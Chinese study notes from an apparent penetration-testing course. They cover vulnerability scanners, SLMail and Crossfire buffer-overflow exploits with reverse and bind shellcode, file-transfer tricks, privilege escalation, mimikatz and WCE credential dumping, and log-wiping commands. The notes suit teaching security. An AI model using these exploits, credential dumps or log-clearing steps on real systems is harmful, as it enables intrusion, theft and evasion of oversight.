CVE(Common Vulnerablities and Exposures)通用漏洞披露

已公开的信息安全漏洞字典,统一的漏洞编号标准

MITRE公司负责维护

扫描器的大部分扫描项都对应一个CVE编号

实现不同厂商之间信息交换的统一标准

CVE发布流程

发现漏洞

CAN负责指定CVE ID

发布到CVE LIST ----CVE--4250

MITRE负责对内容进行编辑维护

很多厂家也维护自己的Vulnerability Reference(漏洞参考)

MS (微软)

MSKB (补丁编号)

OVAL(Open Vulnerability and Assessment Language)

描述漏洞检测方法的机器可识别语言

详细的描述漏洞检测的技术细节,可导入自动华检测工具中实施漏洞检测工作

OVAL使用XML语言描述,包含了严密的语法逻辑。

CCE

描述软件配置缺陷的一种标准化格式

在信息安全风险评估中,配置缺陷的检测是一项重要内容,使用CCE可以让配置缺陷以标准的方式展现出来,便于配置缺陷评估的可量化操作。

CPE

信息技术产品、系统、软件包的结构化命名规范,分类命名

CWE

常见漏洞类型的字典,描述不同类型漏洞的特征(访问控制、信息泄露、拒绝服务)

由于SCAP比较庞大、复杂,只有NVD使用。

漏洞管理三要素:

准确性:高准确性肯定会耗费时间、资源、扫描引擎

时间:缩短时间,资源需求更多,准确性降低

资源:

周期性扫描跟踪漏洞

高危漏洞优先处理

任务36:NMAP.exe

nmap扫描脚本:500+,不同类别

cat /usr/share/nmap/scripts/script.db

less /usr/share/nmap/scripts/script.db |grep vuln |wc -l

grep vuln /usr/share/nmap/scripts/script.db | cut -d “\” -f 2

cat /usr/share/nmap/scripts/smb-check-vluns.nse

smb-check-vulns.nse

apt-get install ibus ibus-pinyin

#安装中文输入法

smb-vuln-ms10-061.nse

stuxnet蠕虫利用的4个漏洞之一(stuxnet震网病毒)

print spooler权限不当,打印请求可在系统目录可创建文件、执行任意代码

LANMAP API枚举共享打印机

远程共享打印机名称

smb-enum-shares枚举共享

发现目标共享打印机

身份认证参数–smbuser,smbpassword

nmap -p445 --script=smb-enum-shares.nse --script-args=smbuser=admin,smbpasssword=pass

win xp, sp2,vista,,win7

任务36:OPENVAS.exe

OPENVAS

nessus项目分支

管理目标系统的漏洞

免费开源

settings

可改成中文界面,但是不建议用中文

kali重启以后openvas默认是关闭的,不会自动启动。

starting openvas services的过程是:

由下到上的顺序,一共3个服务。

登陆以后:

scan config—可以自定义,也可以使用已有的。通常使用full and fast

向上箭头会自动更新扫描配置,使用新的漏洞库。

水平箭头会使用当前漏洞库,当openvas升级后不会更新已创建的扫描配置。

保存完成后,点击scan config,可以看到已经自定义的配置文件。

config—target

QoD 漏洞判断的把握比率

severity 漏洞打分情况。

任何扫描器都会存在漏报和误报,要进一步验证。

报告的导出可以选择多种格式。

如果出现误报,可以添加override,就是可以修改漏洞分值或直接改为误判。

可以针对每个漏洞添加note,即注释。

漏洞统计报告,可以按多种维度评分。

user:默认只有admin账户,可以增加账户分配不同权限。

不同权限能做的事也不一样。

也可以自定义角色,分组。

可以在web里面更新openvase

任务37:NESSUS.exe

家庭版:免费

专业版:收费、无限并发连接

免费版也需要注册获取激活码

激活后会下载文件,需要等待一段时间。

openvas不扫描web 漏洞,nessus针对web的扫描功能也是有限的。

最常用的是高级扫描

可以测试本机 test the local nessus host

safe选项在扫描过程中不会对目标系统造成损害。

可以在nessus中添加已知系统的验证信息,进行白盒扫描。

xp开启防火墙的情况下,即使存在漏洞,nessus也扫描不出来。

CVSS得分可以是0,是info级别的结果。

可以通过程序调用nessus,API KEY

任务38:NEXPOSE.exe

业界符合漏洞管理比较好的软件。

使用漏洞扫描器发现漏洞,使用MSF对漏洞进行验证。

企业版nexpose和nessus价格比较昂贵。

最低配的nexpose、MSF需要40-50w,每年还需要再付费20-30w。

nexpose之所以符合企业级使用,是有大量模板可以使用。

美国公司想要上市必须过塞班斯法案,nexpose内置塞班斯法案要求的扫描规则。

支付行业过PCI认证也有内置扫描规则。

登陆验证支持2种办法,一种是用户名密码,一种是seesion

扫描结果分析

误报、漏报。

第9章 缓冲区溢出

任务39:缓冲区溢出.exe

zero day=0day漏洞,没有被官方公开,只掌握在某个人手里。

通过缓冲区溢出就可以控制到肉鸡。

程序漏洞从哪里来:

罪恶的根源:变量

数据与代码边界不清

web代码注入和sql注入都是边界不清。

最简单漏洞原理—shell脚本漏洞

a.sh

#!/bin/bash

echo $1

执行此脚本:./a.sh 123123

如果后面跟指令的话:./a.sh pwd

会显示pwd,没有当成系统命令进行执行。

如果输入:./a.sh ;pwd

这是会执行pwd命令

因为此脚本没有对输入的参数判断和过滤,脚本直接接受执行。

还有其他 a.sh | ls a.sh & ls a.sh &&ls

缓冲区溢出:

当缓冲区边界限制不严格时,由于变量传入畸形数据或程序运行错误,导致缓冲区被“撑爆”,从而覆盖了相邻内存区域的数据;

成功修改内存数据,可造成进程劫持,执行恶意代码,获取服务器控制权限等后果。

如何发现漏洞:

源码审计

逆向工程:接触不到源代码,反汇编,逆向分析

模拟测试

向程序堆栈半随机的数据,根据内存变化判断溢出;

数据生成器:生成随机,半随机数据

测试工具(动态调试工具):识别溢出漏洞

Windows系统缓冲区溢出

FUZZER模糊测试

SLMail 5.5.0 Mail Server #邮件服务器

ImmunityDebugger_1_85_setup.exe #主流的动态调试工具,可以调用python脚本

mona.py #辅助定位进程模块,调用shellcode

把mona.py 放到python安装程序的脚本目录

FUZZER模糊测试

SLMail 5.5.0 Mail Server #邮件服务器

POP3 PASS命令存在缓冲区溢出漏洞

无需身份验证实现远程代码执行

win7以后支持以下安全防护机制:

DEP:阻止代码从数据页被执行

ASLR:随机内存地址加载执行程序和DLL,每次重启地址变化

POP3

nc 110端口

了解未知协议

Wireshark

RFC

nc 192.168.1.119 110

USER

PASS

使用脚本不断的增大发送变量的大小,直到发生溢出。

使用02.py发生不断增加的变量值。

在服务器端使用调试工具查看内存溢出情况

ImmunityDebugger可以对静态程序进行分析,也可以对动态进程进行分析

对动态进程调入进来以后可以一步一步的记录,播放过程。

重点关注寄存器内容,寄存器的数据是马上要交给cpu执行的内容

发送大量数据溢出到EIP EBP ESP

发生内存溢出是大量数据填满了EIP,导致程序执行到其他指令

EIP 41414141 EIP是指当前进程下一条指令的内存地址,16进制数,借助ascii码表知道为A

2700个字符的时候发生溢出,通过脚本精确找到发生溢出的4个字节

方法:二分法;唯一字符串法:usr/share/metasploit-framework/tools/pattern_creade.rb 2700

msf自带一个生成唯一字符串的工具

使用以上办法

EIP 39 69 44 38 转换成为ascii

注意内存地址是相反的,所以人类读写习惯应该是 38 44 69 39= 8 D i 9

usr/share/metasploit-framework/tools/pattern_offset.rb 39694438

自动计算2700里面的哪一个字符开始发生内存溢出,2606,就是从2606以后开始溢出。

ESP 里后面跟着溢出以后的内容,可以是shellcode.

如果修改eip内容精确到esp的地址,esp内为注入的shellcode,so…

任务40:POP3.exe

任务41:FUZZING.exe

思路:将EIP修改为shellcode代码的内存地址,将shellcode写入到该地址空间,程序读取EIP寄存器数值,将跳转到shellcode代码段并执行。

寻找可存放shellcode的内存空间

一般shellcode 300byte,这里测试的416byte

坏字符:

不同类型程序、协议、漏洞、会将某些字符认为是坏字符,出现的这些字符有固定用途:

返回地址、shellcode、buffer中都不能出现坏字符

null byte(0x00)空字符,用于终止字符串的拷贝操作

return(0x0D)回车操作,标识POP3 PASS命令输入完成

在做缓冲区溢出同时 必须把坏字符测试出来,避免往缓冲区里写入坏字符,一旦出现坏字符shellcode就没办法再运行了。

思路:发送0x00—0xff 256个字符,查找所有坏字符

把256个字符输入到ESP内进行测试

\X01\X02……….\Xff\X00

\X开表示16进制字符

经过测试0A可能是坏字符,去掉以后再测试,0D会被过滤掉(也是坏字符),最后00会被过滤掉(坏字符)

0A 00 0D都是坏字符

测试过坏字节以后,开始渗透。

思路:把EIP内容改成ESP的地址,然后把shellcode写入ESP。

看似简单,实际过程不那么轻松。

因为在程序运行过程中,或者机器重启以后ESP地址会变化,每次有可能一样也有可能不一样。

由于ESP地址变化,硬编码不可行。这一次成功,下一次就不成功了。

所有基于线程的程序,程序运行的内存是由操作系统分配的一段地址范围。

有时候发现ESP地址不变,是因为测试环境理想化,没有复杂应用。

变通思路:

找操作系统模块运行的固定不变的内存地址。

在EIP中放入JMP ESP指令所在内存地址,JMP ESP 会再次跳转到ESP。

使用mona.py查找 JMP ESP 地址

在ImmunityDebugger下面输入命令:

!mona modules

查找操作系统自带的,可以利用的模块。

有些条件必须满足

Rebase:操作系统重启后内存地址是否发生变化,值true是发生变化,False是不发生变化。

以下是操作系统内存保护机制,也必须满足

SafeSeH:False

ASLR:False

NXCompat:False

也就是说这是个必须都是FALSE

OS DLL是操作系统DLL,必须是true的,也就是说每个操作系统都有的,自带的一个库。

前四个是false,第五个ture,找到一个符合的:openc32.dll

找到找个模块以后,在这个模块里查找JMP ESP寄存器的命令。

在ImmunityDebugger命令行输入:

!mona find -s “ ” -m openc32.dll

不能直接搜索JMP ESP,因为内存里存的是二进制,不会存JMP ESP。

把JMP ESP(应该是转换成汇编指令)转换成二进制。

kali内有个工具可以转换

/usr/share/metasploit-framework/tools/nasm_shell.rb,执行这个脚本。

可以把汇编语言转换成二进制

jmp esp 得到 FFE4

回到ImmunityDebugger

!mona find -s “ \xff\xe4” -m openc32.dll

结果没找到,更换一个dll,继续查找。

!mona find -s “ ” -m mfc42loc.dll

!mona find -s “ ” -m slmfc.dll

结果找到好多,找到某一个,查询地址。

由于SLMail 5.5.0 Mail Server不支持DEP等内存保护机制,所以以上找的任意一个JMP ESP都可以使用

如果支持DEP的程序,在寻找系统模块JMP ESP地址的时候必须找到

ImmunityDebugger中点击m找到内存地图slmfc基地址内access权限是R E(读、执行)两个权限都有的。

如果没有这2个权限后面无法执行,这是一个绕过DEP防护的方法。

这里SLMail不支持DEP,所以用哪个地址都可以。

设置断点:在选定的地址上右键选择breakpoint–memory. on acesss

只要访问到这个地址就中断程序执行

设置中断以后点击播放,让程序开始运行。

设置中断是为了观察是否会跳转到shellcode

重新发送溢出字符,在EIP地址内放入设置断点的内存地址5f 4b 41 e3

实际我们放的时候应该\xe3\x41\x4b\x5f 颠倒的顺序放入。

ImmunityDebugger会在端点处暂停,下方提示 memory breakpoint when executing 5f4b41e3

按F7,单步向前执行一步。

会发现程序执行到另外一个内存地址,这个地址就指向了ESP。

下一步就是往ESP里写入shellcode,可以使用scrtch编写shellcode。

我们可以使用已有的工具生成shellcode。

msfpayload -l (现在已经改成msfvenom) 可以查看自带的payload

msfpayload win32_reverse LHOST=192.168.20.8 LPORT=443 C | grep 0d

查看shellcode里是否包含坏字符

msfpayload win32_reverse LHOST=192.168.20.8 LPORT=443 R | ./msfencode -b “\x00\x0a\x0d”

通过编码方式过滤坏字符,也可以进行免杀处理。

buffer=”A” * 2606 + “\xe3\x41\x4b\x5f” + “\x90” * 8 + shellcode

ESP前面不直接插入shellcode,而是先加入8个\x90,然后再跟shellcode

16进制的90是144,对应汇编语言为NOP。

就是跳到ESP中开始以8个NOP(不操作)开始,如果不加的话直接跟shellcode在某些情况下cpu进行解析的时候有可能造成前面几个字节被擦除覆盖掉。在紧跟几个NOP后面的一连串的命令会被连续执行,中间不会阻断。

nc -vlp 443 #侦听443端口

实际使用中会使用msf

在我们控制端退出以后,早期shellcode执行结束后以ExitProcess方式退出整个进程,将导致邮件服务崩溃。退出以后就不能再溢出。

SLMail是一个基于线程的应用,使用ExitThread方式可以避免整个服务崩溃,可事项重复溢出;退出当前线程,而不是整个进程。

msfpayload win32_reverse LHOST=192.168.20.8 EXITFUNC=thread LPORT=443 R | ./msfencode -b “\x00\x0a\x0d”

regsnap 监控注册表状态快照,修改以后可以比对不同。

任务42:Linux缓冲区溢出.exe

新版本Linux内核支持内存保护机制

DEP,ASLR,堆栈cookies,堆栈粉碎

这些保护机制有时候不起作用,是因为某些软件不支持这些机制,比如今天测试的Crossfire

Crossfire

多人在线RPG游戏(穿越火线)

1.9.0版本接受入站socket连接时存在缓冲区溢出漏洞

调试工具

edb(Linux平台调试工具)

运行平台

Kali i486虚拟机,并不是x64位虚拟机,32位系统上进行缓冲区溢出相对来说比较简单。

64位系统地址空间巨大,所以溢出比较困难。

Windows下先让服务器运行再启动ImmunityDebugger,还有一种办法是通过edb运行程序

调试edb --run /usr/game/crossfire/bincrossfie

打开以后,运行debug–run,点2次run才变成running

此溢出是固定发送多少个字符才会发生溢出4379,多一个少一个溢出都失败。

模糊测试:

唯一字符串识别EIP精确位置

/usr/share/metasploit-framework/tools/pattern_create.rb 4379

生成唯一字符串,识别具体位置,4379,不能变,每次测试长度必须是4379,多、少都会失败。

tappern_offset.rb 46367046

exact match at offse 4368

查看ESP内容,follow in dump 会看到7个C。

此例当中总数4379,剩下esp空间只有7个字符。shellcode不能放在此处。

办法思路:

EAX --FOLLOW IN DUMP 会发现我们发送的数据setup sound AAAAAA……在这里,可以把shellcode发送到这里,但是前面12个字符必须是setup sound加空格。

EIPESP的内容写成EAX地址+12,这个办法理论上可以。但是EAX地址跟操作系统、软件有关系,得不到固定的EAX地址。ESP只能存7个字符,7个字符也可以利用。

总结:

第一阶段shellcode1

修改ESP的内容,跳转到EAX

EAX偏移12个字节开始shellcode

第二阶段setup sound shellcode2

使用/usr/share/metasploit-framework/tools/nasm_shell.rb #可以把汇编指令转变成二进制,必须是正确的汇编指令。

add eax,12

00000000 83C00C add eax,byte +0xc

jmp eax

00000000 FFE0 jmp eax

83C00CFFE0 只需要占用5个字节。

转换成16进制\x83\xc0\x0c\xff\xe0\x90\x90 #\x90是NOP,凑成7个字符。

建议在EAX shellcode部分前面放一个NOP,防止首字母被过滤等异常情况出现。

测试结果,写入内容都正确,但是有一个问题,EIP内容怎么写成ESP地址,就是说怎么跳转到ESP。Windows下是通过固定模块,jmp esp跳转。

linux下也可以,通过找到内存里的JMP ESP指令edb–plugins–opcodesearcher–ESP->EIP

搜索到JMP ESP指令地址

下一步查找坏字符,生成shellcode。

通过查找找到坏字符:x00\x0a\x0d\x20

观察的时候设置断点:08134597

msfpayload linux/x86/shell_bind_tcp LPORT=444 R | msfencode - b “x00\x0a\x0d\x20”

生成的shellcode是105个字符。

4368-105,剩下的还要用A来填充。

执行py脚本以后,使用netstat -pantu |grep 444

发现444端口已经打开,处于侦听状态。

使用nc连接:nc 192.168.1.1 444

然后就可以获得shell。

以上2个章节针对Linux、Windows下渗透测试,模糊测试。

任务43:选择和修改EXP1.exe

这一章节最有趣,最值得深入研究,技术含量最高一个章节。

我们不可能把世界上的软件都进行模糊测试,所以在互联网上有公开收集并整理可利用的漏洞。

网上公开的EXP代码

选择可信赖的EXP源

exploit-bd (offensive security官方维护)

securityfocus 公布新发现漏洞信息/,有些漏洞会包含漏洞概念利用代码(POC)。

searchsplit (msf下搜索漏洞利用)

MSF官方也维护了一个漏洞利用DB

有能力修改EXP(Python,Perl,Ruby,C,C++)

可以通过公布的漏洞利用代码,查看漏洞利用原理,进而自己进行修改、编写。

下载下来漏洞利用代码的编码都是16进制的shellcode。

有可能有些黑客会自己编写冒充的漏洞利用代码然后攻击,所以一定到可信赖的漏洞利用代码网站进行下载。

下载的shellcode要先在虚拟机里验证用途,也不一定都是用python编写的,还有其他语言。

选择和修改EXP

举例:

root@pt:~# searchsploit slmail

Exploit Title | Path

| (/usr/share/exploitdb/)

SLmail Pro 6.3.1.0 - Multiple Remote D | exploits/windows/dos/31563.txt

Seattle Lab Mail (SLmail) 5.5 - POP3 ’ | exploits/windows/remote/16399.rb

Seattle Lab Mail (SLmail) 5.5 - POP3 ’ | exploits/windows/remote/638.py

Seattle Lab Mail (SLmail) 5.5 - POP3 ’ | exploits/windows/remote/643.c

Seattle Lab Mail (SLmail) 5.5 - POP3 ’ | exploits/windows/remote/646.c

Shellcodes: No Result

646.c为什么要修改:

返回地址与我们环境不符

反弹shell硬编码了回连IP

缓冲区偏移量与我们环境不符

目标IP硬编码。

.py脚本是解释型语言,赋予脚本执行权限,有python环境。可以直接执行。

.c C语言代码必须编译成二进制程序才能只用。

gcc 646.c -o 646

dpkg --add-architecture i386 && apt-get update && apt-get install wine32

避免锤子测试就是连接断开以后服务就宕掉,除非重启。会被管理员发现。

任务43:选择和修改EXP2.exe

后漏洞利用阶段(POST EXPLOITATION)

上传工具

提升权限

擦除攻击痕迹:操作系统会留下日志,应用程序也会记录日志

安装后门

长期控制

dump密码

内网渗透

后漏洞利用阶段

最大的挑战–防病毒软件:杀毒软件不断更新面上会变得失效。

使用合法的远程控制软件:nc…

上传工具:

持久控制

扩大对目标系统的控制能力

Linux:netcat、curl、wget

Linux下比较容易实现,netcat也容易下载安装。

Windows:缺少预装的下载工具

nc是非交互模式shell(没有命令自动补全,在进入下一个子命令提示符的环境就没有交互了,比如ftp),上传具备交互式shell(灰鸽子)。

使用TFTP传输文件

(基于UPD协议的文件传输工具,缺点:UPD协议,不支持用户验证,明文传输,)

xp,默认安装

win7,需要单独添加

经常被边界防火墙过滤

Kali

mkdir tftp

atftpd -daemon -post 69 /tftp

cp /usr/share/windows-binaries/nc.exe /tftp

#kali里默认集成了windows下的工具。

chown -R nobody /tftp

Windows(win10下没有预装tftp)

tftp -i 192.168.1.5 get nc.exe

tasklist #windows下列出进程

klogger.exe #键盘记录

whoami #同linux

使用FTP传输文件

Kali

apt-get install pure-ftpd

Windows

由于使用非交互式shell,所以要用echo命令逐条执行

echo open 192.168.1.5 > ftp.txt

echo admin >> ftp.txt

echo password >> ftp.txt

echo bin >> ftp.txt

echo GET nc.exe >> ftp.txt

echo GET klogger.exe >> ftp.txt

echo bye >> ftp.txt

执行:ftp -s:ftp.txt

通过VBSCRIPT传输文件

还是通过echo的方式把命令写入到目标服务器的vbscript脚本里(vbs是Windows系统上默认的脚本语言,在win7以前是操作系统最主要的脚本语言,win7以后增加了powershell脚本语言。)

wget.vbs

通过echo写入后可以使用type wget.vbs,查看脚本是否正确。

先写入wget.vbs脚本实现下载的功能

cscript wget.vbs http://192.168.1.117/nc.exe nc.exe

使用cscript命令调用vbs脚本执行。

使用POWERSHELL传输文件

Win7以后开始使用powershell作为命令行工具。

现在微软力图把powershell打造成类似于Linux下shell的影响力。

同样通过echo把命令写入到:wget.ps1

在命令行下执行:

powershell.exe -ExecutionPolicy Bypass -Nologo -NonInteractive -NoProfile -File wget.ps1

dir | findstr whoami

使用DEBUG传输文件

Debug(在Windows 3.1版本以后就有Debug命令)

可以汇编、反汇编

16进制dump工具

64k字节限制

可以修改BIOS

UPX压缩文件,当传输文件大于 64K的时候可以使用UPX压缩

压缩后同样能执行

upx -9 nc.exe

wine exe2bat.exe nc.ext nc.hex

把nc这个二进制文件转换成16进制的表示的方式。

/usr/share/windows-binaries/exe2bat.exe 是windows的程序,在kali下执行需要加wine

wine /usr/share/windows-binaries/exe2bat.exe nc.exe nc.txt

把nc.txt打开,复制以后到windows shell下执行。(最后2行不用复制)最后得到123.hex

最后2行:

debug<123.hex(此文件不能大于64K)

debug开始汇编过程

生成1.dll 其实就是nc.exe

copy 1.dll nc.exe

第10章 提权

任务44:本地提权.exe

已实现本地低权限账号登录

远程溢出

直接获得账号密码

希望获取更高权限

实现对目标的进一步控制

系统账号之间权限隔离

操作系统安全的基础

用户空间:

内核空间

系统账号

用户账号登陆时获取权限令牌,登陆时绑定到登陆会话上,当用户注销退出时令牌消失,每次登陆分配的令牌都不尽相同。

服务账号无需用户登录在后台启动服务,不同的应用也有不同的应用账号。

理想情况下,每个账号的权限应仅限于完成自己工作的最小权限。

现在操作系统都是多用户操作系统,每个用户都是独立的、限制的权限空间。

当进行审计时每个用户都是需要单独严格审计。

Windows:

user #普通用户账号

administrator #默认管理员,administrator都没法管理某些注册表项,system可以管理。提权的目标一般是user提升到administrator,如果还是不行需要提升到system。administrator拥有的权限不完全被system权限包含。

system #用来启动和管理内核级别的权限

Linux

user #除了root之外其他都是user权限

root #最高权限,类似于windows下system+administrator

admin提升为system:

Windows system账号

系统设置管理功能

通过任务管理器可以看到不同身份的进程。

1.第一种方式:使用at命令

at 20:03 /interactive cmd 然后就获得system权限,通过任务管理器查看当前cmd窗口的用户身份。

这只是一个窗口的system权限,可以使用当前的cmd启动taskmgr,通过新启动的任务管理器结束掉explorer,在新增加一个explorer,现在的桌面环境就是system身份,执行其他命令也是。

2.第二种方式:通过服务的方式(win7以后无at命令)

sc Create syscmd binPath= “cmd /K start” type=own type=interact #注册一个新服务

sc start syscmd #启动服务,启动服务时都是以system身份启动的

3.第三种方式(利用工具)

/zh-cn/sysinternals/downloads/

Sysinternals Suite

PsExec.exe -i -s cmd

4.第四种方式(注入进程提权)

隐蔽痕迹

pinjector.exe

/security/Process_Injector/index.html

pinjector.exe -l

pinjector.exe -p 656 cmd 111 #后面跟端口,可以打开一个端口供远程连接

netstat -nao

然后用nc连接

nc -nv 192.168.1.119 111

然后验证whoami

通过任务管理器看到原来注入的进程没有变化,新增加的cmd进程不会出现在任务管理器。

通过procexp.exe也无法看到新增加的cmd进程,很难看到有异常,只能看到侦听的端口。

service是服务的形式,注入到此进程以后,用户注销都不影响。

任务45:抓包嗅探.exe

Windows:Wireshark、Omnipeek(有更多上层的信息比如web流量分析,多种视图)、Sniffpass(收集密码专用工具,识别明文传输的协议,只抓取密码相关的包)、commview

Linux:Tcpdump、Wireshark、Dsniff(只抓密码)

使用之前的技术对主机进行渗透、提权以后可以在上面运行抓包嗅探的工具用以获取密码。

如果使用ssh,ssl就抓取不到密码,以后章节会介绍。

另外一种办法:键盘记录

keylogger

木马窃取:大部分木马都自带键盘记录功能。

法国一个黑客开发的木马程序:DarkComet又称”暗黑彗星”,是一款国内外知名的远控类木马。

生成木马以后可以upx压缩来减小体积。

可以桌面监控,查看信息,运行命令,键盘记录,添加用户等等操作

本地缓存密码

浏览器缓存的密码

IE

Firefox

网络密码

\ip\share

ftp,rdp 等网络密码

在控制面板–用户管理–凭据管理,有windows凭据和web凭据

无线密码

可以通过查看连接属性查看密码,如果通过命令行的方式的话可以使用工具。

/password_recovery_tools.html

MessenPass 还原好多软件密码

IE PassView

Mail PassView

ChromePass

该网站还有好多其他方面的工具。

Dump SAM

Pwddump #完全命令行工具

/usr/share/windows-binariyes/fgdump/fgdump

可以提取出windows保存密码的hash值dump出来,可以远程执行。

windows不加入域的情况下hash密码保存在SAM里

多执行几次可以没有乱码,正常显示

所有windows administartor ID 都是500

前面使用LMHASH ,后面使用NTLMHASH

kali下有ophcrack,可以暴力破解dump下来的hash密码。

很快就会把密码破解出来。

任务46:WCE1.exe

可以使用破解hash值的方式来破解密码。也可以直接使用hash密码登录系统。

从网络登陆也是在本地hash计算过以后把密文传输过去进行比对。

无论本地登陆还是域登陆在登陆 目标机器的内存里维护一个当前用户的明文密码。

一个工具可以读取不同版本操作系统在内存里缓存的明文密码。

Windows身份验证编辑器(WCE)

在域环境中计算机有计算机账号,用户有用户账号。

WCE从内存里读信息,pwdump是从硬盘里读信息。

能删除会话。

wce-universal -w #到内存读取当前登陆用户明文密码。更改密码后会在下一次登录生效。

任务46:WCE2.exe

wce-universal -g asdf #可以计算hash值。

wce-universal -w #可以查看其他账户的密码,管理员只能改,不能看,可以使用此工具。

wce-universal -i luid -s #修改其他用户的的登录会话。

win 7还可以,win8以后不可以使用wce查看其他用户明文密码。

默认会启动Digest Authentication Package,可以修改注册表不启动,然后就看不到明文密码。

tspkg 远程桌面,wdigest本地登录。可以删掉。

WCE默认尝试安全模式运行,不会对系统造成崩溃,安全模式执行不成功会非安全模式运行。会导致系统重启,代码已经注入到系统。系统变得不安全。

其他工具

pwdump

fgdump #kali包含此工具:/usr/share/windows-binaryes/fgdump

在系统双击运行后可以看到生成几个文件。从SAM提取账号hash值。

mimikatz #windows系统里提权,登陆信息查询。

/usr/share/mimikatz

直接运行,进入mimikatz命令行环境

使用两个冒号::

privilege::debug #提权到debug

sekurlsa::logonPasswords

通常登录需要用户名和密码,有一种方式可以输入用户名和密码hash值登录。

可以对进程进行操作:启动,结束,暂停等。

service 服务进行操作

ts::multirpd #打一个补丁,是目标可以多用户桌面登录。

event::drop #不再产生新的日志

clear #清除安全日志

misc #杂项

misc::wifi #查看已保存的wifi密码

token #账号信息。

任务47:利用漏洞提权1.exe

ms11-080 #漏洞编号

kb2592799 #漏洞的补丁,描述,利用,等信息

比如渗透进入一个xp,没有安装补丁,可以利用此漏洞把权限从user提升到admin

searchsploit ms11-080

把脚本拷贝到目标机器,python脚本,需要查看脚本运行环境。有可能中文版操作系统不起作用。

有些漏洞利用脚本是python脚本,目标机器上没有python环境,可以在已有python环境的机器上对脚本进行编译,编译成exe

需要以下工具:

Pyinstaller #实现把python脚本转换为exe工具。

Pywin32 #也需要安装

pyinstaller放入python目录,把脚本放到pyinstaller目录

python.exe pyinstaller.py --onefile 18176.py

找到生成的exe,拷贝到目标主机。

然后执行18167.exe -O XP

whoami

然后拥有了管理员权限。

Ms11-046

DOS 拒绝服务攻击,可以使目标蓝屏。

MS14-068 #利用此漏洞可以在域内一台主机上通过本地管理员权限获得域管理员权限。

python 35474.py -u luotuo@ -s userSID -d #要指定用户,sid,域控制器,会生成一个文件。whoami /all 查看域账户的SID

拷贝TGT_luotuo1@ache到目标windows系统

本地管理员登录,执行以下命令:

mimikatz.exe log “kerberos::ptc TGT_user@ache” exit

就可以拥有域管理员权限。

运行python脚本的时候可能需要额外的库文件。pykek

任务48:利用配置不当提权.exe

某些早期版本linux内核存在漏洞,可以提升权限。

内存里的漏洞

/proc/pid/mem

kernels >= 2.6.39 高于2.6.39的有这个漏洞,最新的已经修复

/749

18411.c可以在kali里搜索到。拷贝到ubuntu 11.1下。

gcc 18411.c -o exp

chmod +x exp

./exp

运行后变成#

老版本的ubuntu在安装gcc的时候会失败,apt-get也失败,可以把光盘当成安装源。

cat /etc/apt/sources.list

增加光盘作为源:apt-cdrom add

利用配置不当提权

与漏洞提权相比,更常用的办法

企业环境

补丁更新的全部已经安装

输入变量过滤之外更值得研发关注的安全隐患

以system权限启动

NTFS权限允许users修改删除

在windows里如果安装的程序在服务列表里以本地系统形式存在的话,可以查看启动的程序ntfs权限限制不严的情况,可以允许普通用户修改、替换的话,可以替换成为反弹shell

icacls #快速查看哪些文件被错误的配置权限

icacls c:\windows\login.exe

icacls c:\windows*.exe /save test /T

从结果里找:FA;;;BU,找到一个以后就可以编译一个反弹shell替换该文件,也可以使用一条命令文件代替该文件,比如把某用户添加为管理员组。

不能使用gcc命令,这样编译出来时在linxu下运行的,使用:

i586-mingw32msvc-gcc -o admin.exe admin.c

find

find / -perm 777 -exec ls -l {} ;

应用系统的配置文件

应用连接数据库的配置文件(应用数据库连接,vpn用户数据库,等等连接)

后天服务运行账号(web服务器被渗透,web服务以root用户渗透会拥有root权限)

任务49:收集敏感数据、隐藏痕迹.exe

基本信息收集

Linux

/etc/resolv.conf

/etc/passwd

/etc/shadow

whoami who -a

ifconfig -a iptables -L -n netstat -rn

uname -a ps aux

dpkg -l

ii 表示已经安装 rc是删除留下配置文件

Windows

ipconfig /all ipconfig /displaydns netstat -bnao netstat -r

net view new view /domain

net user /domain net user %username % /domain

net accounts net share

net group “Domain Controllers” /domain

wmic 可以查询很多信息,可以结束进程,卸载杀毒软件,卸载补丁,开启远程桌面

查看系统日志对应的文件

收集敏感信息

商业信息、系统信息

Linux

/etc/ /usr/local/etc

/etc/password /etc/shadow

.ssh .gnupg 公钥、私钥

The e-mail and data files

业务数据库:身份认证服务数据库

/tmp #临时目录,有可能存放程序、软件的临时数据,会存在敏感数据。

.ssh保存了登录密钥,拿到以后可以免密码登录。

Windows

SAM

%SYSTEMROOT%\repair\SAM

业务数据库:身份认证服务数据库

临时文件目录

隐藏痕迹

禁止在登录界面显示新建账号 #通过修改注册表,会在系统里显示,可以通过更多的办法来彻底隐藏新建账号。

del %WINDIR%*.LOG /a/s/q/f #强制、静默的删除log文件

linux:history #.bash_history

history -c #擦除history

lsattr chattr -i 只读

chattr +i .bash_history

日志文件:

auth.log/secure

以下文件为data文件,使用last命令查看

btmp/wtmp

lastlog/faillog

其他日志和HIDS等,也需要注意,清除痕迹。

linux 暂时没有找到如何增加隐藏的超级用户。

历史命令存在.bahs_history,可以直接删除rm -f ~/.bash_history

也可以echo > .bash_history,彻底清空history,

也可以vi 删除其中某条命令。

但是缓存里的命令在退出以后会再次写入.bash_history文件

彻底删除先使用echo > .bash_history,再使用history -c。

wtmp记录登录记录,btmp记录登录失败记录,整体使用以下命令:

[root@localhost root]# echo > /var/log/wtmp

[root@localhost root]# last

[root@localhost root]# echo > /var/log/btmp

[root@localhost root]# lastb

[root@localhost root]# history -c

[root@localhost root]# echo > ./.bash_history

[root@localhost root]# history

系统日志是由一个名为syslog的服务管理的,如以下日志文件都是由syslog日志服务驱动的:

/var/log/boot.log:录了系统在引导过程中发生的事件,就是Linux系统开机自检过程显示的信息

/var/log/lastlog :记录最后一次用户成功登陆的时间、登陆IP等信息

echo > /var/log/lastlog

/var/log/messages :记录Linux操作系统常见的系统和服务错误信息

/var/log/secure :Linux系统安全日志,记录用户和工作组变坏情况、用户登陆认证情况

echo > /var/log/secure

/var/log/btmp :记录Linux登陆失败的用户、时间以及远程IP地址

echo > /var/log/btmp

/var/log/syslog:只记录警告信息,常常是系统出问题的信息,使用lastlog查看

/var/log/wtmp:该日志文件永久记录每个用户登录、注销及系统的启动、停机的事件,使用last命令查看

echo > /var/log/wtmp

/var/run/utmp:该日志文件记录有关当前登录的每个用户的信息。如 who、w、users、finger等就需要访问这个文件

执行红色加粗部分命令。

或者直接把以上所有命令写入当前用户目录的.bash_logout。

~/.bash_logout

echo > /var/log/lastlog

echo > /var/log/secure

echo > /var/log/btmp

echo > /var/log/wtmp

history -c

echo > ./.bash_history

clear

nohup tcpdump -i eth0 port 110 -C 5 -w pop.pcap &

后台抓取110端口数据包,每个包5M,自动保存到pop文件中

& : 指在后台运行

